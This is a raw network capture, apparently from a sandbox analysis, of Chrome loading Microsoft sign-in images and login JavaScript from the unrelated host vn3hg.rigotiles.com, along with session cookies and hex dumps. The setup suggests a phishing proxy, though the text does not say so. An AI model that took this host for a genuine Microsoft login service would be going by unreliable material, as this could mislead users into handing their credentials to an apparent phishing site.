Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.16	51052	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:25 UTC	548	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:25 UTC	1202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:25 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DB5C3F48EC4154 Last-Modified: Wed, 24 May 2023 10:11:47 GMT X-Azure-Ref: 20241029T162004Z-17d9cd8886fthbtdm0wyfbbd8c00000005c0000000000yg1 X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: ba185ff7-b01e-0052-316e-268013000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189321 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Z022WnC%2FE3ALfLqzIqWEMKg2nEaYWAQ%2F9By3Pdq6uW8XrqwR3RZlWYjUpttdqohtJTasWQGtnp05oZ4aBExvwhgW%2F6VmFkK%2Fcz2orHWp2TqemiDejw4W92Z6z5Tr96G0wKz5%2BFp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bbe2b863aac-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:25 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 33 35 34 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 39 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 32 36 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 30 35 36 38 31 38 26 63 77 6e 64 3d 32 34 35 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 33 62 30 65 36 37 35 30 38 36 33 66 62 34 33 34 26 74 73 3d 31 37 30 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1354&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1126&delivery_rate=2056818&cwnd=245&unsent_bytes=0&cid=3b0e6750863fb434&ts=170&x=0"
2024-10-31 20:55:25 UTC	1345	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2024-10-31 20:55:25 UTC	1334	IN	Data Raw: b9 dd 59 dd 18 89 24 69 9e d4 07 72 a9 8a b6 30 f6 ce 8c 53 00 00 21 f9 04 09 03 00 00 00 2c 73 00 00 00 9c 00 03 00 00 02 23 8c 81 a9 cb bd 16 9c 9c 14 c1 8a eb cd 1c c0 dd 71 60 48 5a 47 19 8e 68 f3 9d eb a4 be 58 2c 3b 74 0d 15 00 21 f9 04 09 05 00 00 00 2c 73 00 00 00 ac 00 03 00 00 02 29 8c 81 99 16 ea 0f a3 54 6c da fb 2a de f9 70 cc 68 90 f8 95 a3 67 a6 64 6a ad 2c 15 36 91 fb 7e 74 3d dd f8 82 ee 08 53 00 00 21 f9 04 09 05 00 00 00 2c 73 00 00 00 ba 00 03 00 00 02 29 8c 81 a9 cb bd 16 9c 9c 34 c1 8a e9 cd 1c ed ee 40 1f 88 8d e4 69 9e 55 aa 32 2c 2a 46 ad 76 cc e4 6b 3f 75 ee ee 36 54 00 00 21 f9 04 09 05 00 00 00 2c 80 00 00 00 ba 00 03 00 00 02 28 8c 81 a9 cb ed 6d c2 9b d4 c5 8a df cd 79 73 18 1d df a8 89 24 e9 9d 55 aa 2e ec 19 9a 2d 2c cf 6b Data Ascii: Y$ir0S!,s#q`HZGhX,;t!,s)Tlphgdj,6~t=S!,s)4@iU2,Fvk?u6T!,(mys$U.-,k
2024-10-31 20:55:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.16	51053	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:25 UTC	542	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:25 UTC	1184	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:25 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DB5C3F4904824B Last-Modified: Wed, 24 May 2023 10:11:48 GMT X-Azure-Ref: 20241031T205525Z-17d9cd8886fqgvn4q4mt7vch3n00000009p0000000000qut X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 1bea115d-201e-000e-03ab-26eae6000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ggz0Xgk3U8a2xfYMQJTnz1p54T7pva06f8PIe6kQJYforesentEl2R%2Bi5GAWDsxD2KGqXhn2%2FmQnIiB7Hhs6nbJ94qTfCHQJT7hQpqOLJsG1GbucRj33wU5cxzLkyjBce4Vy3Jj1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bbe7b42674f-ATL alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:25 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 32 30 33 39 31 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 32 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 34 34 35 39 37 26 63 77 6e 64 3d 33 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 64 30 37 36 35 64 64 63 63 64 32 38 36 34 38 32 26 74 73 3d 34 35 36 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=20391&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1120&delivery_rate=144597&cwnd=32&unsent_bytes=0&cid=d0765ddccd286482&ts=456&x=0"
2024-10-31 20:55:25 UTC	1364	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 17 0e 0c 0a 87 c0 02 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 2c 84 8f a9 cb ed 0f 5d 98 11 cc b0 6e dd bc fb 0f 86 e2 48 96 e6 89 66 54 a4 29 6d 0a c7 f2 4c d7 f6 3d be 8f 7e f0 f8 0f 0c 0a 53 05 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 2b 84 8f a9 cb ed 0f a3 09 54 d2 30 ab dc bc fb 0f 86 e2 48 96 e6 89 3e 97 a5 ad e9 0b c7 f2 4c d7 76 ea 42 6e 7e f7 fe 0f 84 15 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 27 84 8f a9 cb ed 0f a3 0b f4 d1 20 b3 de bc fb 0f 86 e2 48 96 a6 77 59 d5 c9 b6 ee 0b c7 f2 3c a7 d3 4a e7 fa ce bb 05 00 21 f9 04 09 06 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 28 84 8f a9 cb ed 0f a3 4c a1 9a 1a a6 de bc fb 0f 86 e2 48 96 e6 29 61 97 85 b6 ee 0b c7 f2 4c cf 2a 70 d7 fa ce f7 Data Ascii: !,`,]nHfT)mL=~S!,`+T0H>LvBn~!,`' HwY<J!,`(LH)aL*p
2024-10-31 20:55:25 UTC	894	IN	Data Raw: 60 01 03 00 00 02 37 84 8f a9 cb ed 0f a3 9c b4 da 6b 83 c6 53 07 de 78 a0 21 56 a5 72 8e ea ca b6 ee 0b 23 69 3c af 75 b6 99 39 ba c7 fe 0f 0c 0a 3b 3d 5a d1 76 c4 7d 74 4b 5e 93 51 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 37 84 1d 79 cb ed 0f a3 9c b4 da 8b b3 de 34 05 2e 79 60 23 6e 65 a8 68 e7 c8 b6 ee 0b c7 32 b3 c2 f5 78 5b 39 99 66 fb 0c 0c 0a 87 44 d4 67 f6 53 f5 7c 4b 48 92 51 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d 79 cb ed 0f a3 9c b4 da 8b b3 de 3c a6 d0 3d 5f 08 8c 98 d9 a0 94 4a b6 ee 0b c7 f2 5c b1 ad 9d e1 92 ae 8b 0a 0d 0c 0a 87 44 59 8f 73 ac fd 2e bc e5 a3 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 35 84 1d 99 c7 ed 0f a3 9c b4 da 8b b3 de bc fb a3 7c 4c c8 91 94 Data Ascii: `7kSx!Vr#i<u9;=Zv}tK^Q!,`7y4.y`#neh2x[9fDgS\|KHQ!,`6y<=_J\DYs.!,`5\|L
2024-10-31 20:55:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.16	51054	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:25 UTC	560	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:25 UTC	1232	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:25 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DCBD531731891C Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT X-Azure-Ref: 20241029T162004Z-17d9cd8886fksq8kgb8tzt0abg000000063g00000000aavv X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: c8054a49-501e-0004-1e3c-264e51000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189321 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qru%2BGLBgrOKpn69pQBdnHOeAw%2BFxeGR8cUKI16vnGd7EGDR2faEQ5xV83QY6o%2Fwhfo%2FpZH5NK041TNyiTZuhWIolOH9t9dkc3xQFEa6h7sxcGARGA0y6xctr0nUQtTaVzgV7CmTB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bbebe144678-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:25 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 32 36 30 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 33 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 30 37 38 39 36 36 26 63 77 6e 64 3d 32 34 37 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 64 32 64 66 64 37 66 62 62 65 33 66 38 37 65 32 26 74 73 3d 31 35 31 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1260&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1138&delivery_rate=2078966&cwnd=247&unsent_bytes=0&cid=d2dfd7fbbe3f87e2&ts=151&x=0"
2024-10-31 20:55:25 UTC	1315	IN	Data Raw: 33 64 38 62 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f Data Ascii: 3d8b/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright no
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 64 65 6e 74 69 61 6c 2c 67 3d 21 21 65 2e 69 73 50 75 73 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 2c 68 3d 65 2e 73 65 73 73 69 6f 6e 50 75 6c 6c 54 79 70 65 2c 76 3d 65 2e 69 73 49 6e 69 74 69 61 6c 56 69 65 77 2c 6b 3d 74 2e 61 72 72 53 65 73 73 69 6f 6e 73 7c 7c 5b 5d 2c 77 3d 74 2e 63 61 6e 61 72 79 2c 52 3d 74 2e 64 65 73 6b 74 6f 70 53 73 6f 43 6f 6e 66 69 67 2c 54 3d 74 2e 73 43 74 78 2c 79 3d 74 2e 75 72 6c 4c 6f 67 69 6e 2c 43 3d 74 2e 6f 47 65 74 43 72 65 64 54 79 70 65 52 65 73 75 6c 74 2c 78 3d 74 2e 66 53 68 6f 77 54 69 6c 65 73 41 66 74 65 72 53 65 73 73 69 6f 6e 50 75 6c 6c 2c 44 3d 74 2e 73 50 72 65 66 69 6c 6c 55 73 65 72 6e 61 6d 65 3b 66 75 6e 63 74 69 6f 6e 20 5f 28 29 7b 76 61 72 20 65 3b 73 26 26 52 26 26 52 2e 69 73 45 64 67 65 41 6c Data Ascii: dential,g=!!e.isPushNotification,h=e.sessionPullType,v=e.isInitialView,k=t.arrSessions\|\|[],w=t.canary,R=t.desktopSsoConfig,T=t.sCtx,y=t.urlLogin,C=t.oGetCredTypeResult,x=t.fShowTilesAfterSessionPull,D=t.sPrefillUsername;function _(){var e;s&&R&&R.isEdgeAl
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 67 72 65 73 73 5f 6f 6e 48 61 6e 64 6c 65 44 73 73 6f 53 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 6f 6e 53 75 62 6d 69 74 52 65 61 64 79 28 29 7d 2c 6e 2e 66 65 74 63 68 53 65 73 73 69 6f 6e 73 50 72 6f 67 72 65 73 73 5f 6f 6e 52 65 64 69 72 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 6e 2e 6f 6e 52 65 64 69 72 65 63 74 28 65 2c 73 29 7d 2c 6e 2e 66 65 74 63 68 53 65 73 73 69 6f 6e 73 50 72 6f 67 72 65 73 73 5f 6f 6e 44 65 73 6b 74 6f 70 53 73 6f 46 61 6c 6c 62 61 63 6b 56 69 65 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 28 29 7d 2c 6e 2e 66 65 74 63 68 53 65 73 73 69 6f 6e 73 50 72 6f 67 72 65 73 73 5f 6f 6e 55 70 64 61 74 65 55 73 65 72 54 69 6c 65 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 43 26 26 43 2e 49 66 45 78 69 Data Ascii: gress_onHandleDssoSuccess=function(){n.onSubmitReady()},n.fetchSessionsProgress_onRedirect=function(e,s){n.onRedirect(e,s)},n.fetchSessionsProgress_onDesktopSsoFallbackView=function(){_()},n.fetchSessionsProgress_onUpdateUserTiles=function(e,s){C&&C.IfExi
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 67 72 65 73 73 22 20 72 6f 6c 65 3d 22 70 72 6f 67 72 65 73 73 62 61 72 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 63 6f 6d 70 6f 6e 65 6e 74 3a 20 5c 27 6d 61 72 63 68 69 6e 67 2d 61 6e 74 73 2d 63 6f 6e 74 72 6f 6c 5c 27 2c 20 61 72 69 61 4c 61 62 65 6c 3a 20 73 74 72 5b 5c 27 57 46 5f 53 54 52 5f 50 72 6f 67 72 65 73 73 54 65 78 74 5c 27 5d 22 3e 3c 2f 64 69 76 3e 5c 6e 3c 2f 64 69 76 3e 5c 6e 5c 6e 5c 78 33 63 21 2d 2d 20 6b 6f 20 69 66 3a 20 28 73 65 73 73 69 6f 6e 50 75 6c 6c 54 79 70 65 20 26 20 27 29 2b 73 28 30 29 2e 53 65 73 73 69 6f 6e 50 75 6c 6c 46 6c 61 67 73 2e 44 73 73 6f 2b 27 29 20 21 3d 20 30 20 2d 2d 5c 78 33 65 5c 6e 3c 61 20 69 64 3d 22 64 65 73 6b 74 6f 70 53 73 6f 43 61 6e 63 65 6c 22 Data Ascii: <div class="progress" role="progressbar" data-bind="component: \'marching-ants-control\', ariaLabel: str[\'WF_STR_ProgressText\']"></div>\n</div>\n\n\x3c!-- ko if: (sessionPullType & ')+s(0).SessionPullFlags.Dsso+') != 0 --\x3e\n<a id="desktopSsoCancel"
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 29 2c 70 3d 73 28 37 29 2c 6d 3d 77 69 6e 64 6f 77 2c 53 3d 6f 2e 51 75 65 72 79 53 74 72 69 6e 67 2c 66 3d 61 2e 4f 62 6a 65 63 74 2c 67 3d 61 2e 44 61 74 65 54 69 6d 65 2c 68 3d 70 2e 53 65 73 73 69 6f 6e 49 64 70 2c 76 3d 61 2e 53 74 72 69 6e 67 2c 6b 3d 6f 2e 48 65 6c 70 65 72 2c 77 3d 64 2e 50 61 67 69 6e 61 74 65 64 53 74 61 74 65 3b 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 73 3d 65 2e 73 65 72 76 65 72 44 61 74 61 2c 6f 3d 65 2e 6e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 41 75 74 68 52 65 71 75 65 73 74 2c 61 3d 65 2e 75 73 65 72 6e 61 6d 65 2c 64 3d 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 2c 70 3d 65 2e 75 6e 73 61 66 65 5f 64 65 73 6b 74 6f 70 53 73 6f 44 6f 6d 61 69 6e 54 6f 55 73 65 2c 52 3d 65 2e 73 65 73 73 69 Data Ascii: ),p=s(7),m=window,S=o.QueryString,f=a.Object,g=a.DateTime,h=p.SessionIdp,v=a.String,k=o.Helper,w=d.PaginatedState;function R(e){var n=this,s=e.serverData,o=e.nonInteractiveAuthRequest,a=e.username,d=e.displayName,p=e.unsafe_desktopSsoDomainToUse,R=e.sessi
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 6e 64 6f 77 73 53 73 6f 7d 29 29 2c 43 3d 44 2e 6c 65 6e 67 74 68 2c 42 26 26 6a 29 7b 76 61 72 20 73 3d 74 2e 75 74 69 6c 73 2e 61 72 72 61 79 46 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6d 61 74 63 68 65 73 4c 6f 67 69 6e 48 69 6e 74 7d 29 29 3b 73 26 26 28 5f 3d 73 2c 28 73 2e 69 73 53 69 67 6e 65 64 49 6e 7c 7c 73 2e 69 73 57 69 6e 64 6f 77 73 53 73 6f 29 26 26 21 73 2e 69 73 4d 65 43 6f 6e 74 72 6f 6c 53 65 73 73 69 6f 6e 26 26 73 2e 69 64 26 26 28 46 3d 73 29 29 3b 76 61 72 20 6f 3d 74 2e 75 74 69 6c 73 2e 61 72 72 61 79 46 69 72 73 74 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 28 21 65 2e 73 69 67 6e 49 6e 4e 61 6d 65 7c 7c 65 2e 73 69 67 6e 49 6e 4e 61 6d 65 2e 74 6f 4c 6f 77 Data Ascii: ndowsSso})),C=D.length,B&&j){var s=t.utils.arrayFirst(n,(function(e){return e.matchesLoginHint}));s&&(_=s,(s.isSignedIn\|\|s.isWindowsSso)&&!s.isMeControlSession&&s.id&&(F=s));var o=t.utils.arrayFirst(e,(function(e){return!(!e.signInName\|\|e.signInName.toLow
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 6d 2c 22 6d 65 73 73 61 67 65 22 2c 75 65 29 2c 6e 2e 6f 6e 44 65 63 72 65 6d 65 6e 74 41 73 79 6e 63 54 69 6c 65 52 65 71 75 65 73 74 43 6f 75 6e 74 28 29 2c 72 65 26 26 41 7c 7c 21 72 65 26 26 6f 65 26 26 49 3f 49 2e 74 68 65 6e 28 70 65 2c 6d 65 29 3a 6e 2e 6f 6e 55 70 64 61 74 65 55 73 65 72 54 69 6c 65 73 28 5b 5d 2c 5b 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 29 7b 69 66 28 65 29 7b 76 61 72 20 73 3d 7b 63 61 6e 61 72 79 3a 4c 2c 63 6c 69 65 6e 74 5f 69 64 3a 53 2e 65 78 74 72 61 63 74 28 22 63 6c 69 65 6e 74 5f 69 64 22 29 2c 63 74 78 3a 24 7d 3b 5a 26 26 59 2e 69 73 46 6c 6f 77 54 6f 6b 65 6e 50 61 73 73 65 64 49 6e 45 64 67 65 26 26 28 73 2e 66 6c 6f 77 74 6f 6b 65 6e 3d 65 65 29 2c 6f 7c 7c 28 73 2e Data Ascii: ventListener(m,"message",ue),n.onDecrementAsyncTileRequestCount(),re&&A\|\|!re&&oe&&I?I.then(pe,me):n.onUpdateUserTiles([],[])}function pe(e){if(e){var s={canary:L,client_id:S.extract("client_id"),ctx:$};Z&&Y.isFlowTokenPassedInEdge&&(s.flowtoken=ee),o\|\|(s.
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 6e 64 6c 65 44 73 73 6f 53 75 63 63 65 73 73 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 48 61 6e 64 6c 65 44 73 73 6f 46 61 69 6c 75 72 65 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 44 65 73 6b 74 6f 70 53 73 6f 46 61 6c 6c 62 61 63 6b 56 69 65 77 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 52 65 64 69 72 65 63 74 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 49 6e 63 72 65 6d 65 6e 74 41 73 79 6e 63 54 69 6c 65 52 65 71 75 65 73 74 43 6f 75 6e 74 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 44 65 63 72 65 6d 65 6e 74 41 73 79 6e 63 54 69 6c 65 52 65 71 75 65 73 74 43 6f 75 6e 74 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 64 65 73 6b 74 6f 70 53 73 6f 52 75 6e 6e 69 6e 67 3d 74 2e 6f 62 73 65 72 76 61 62 6c 65 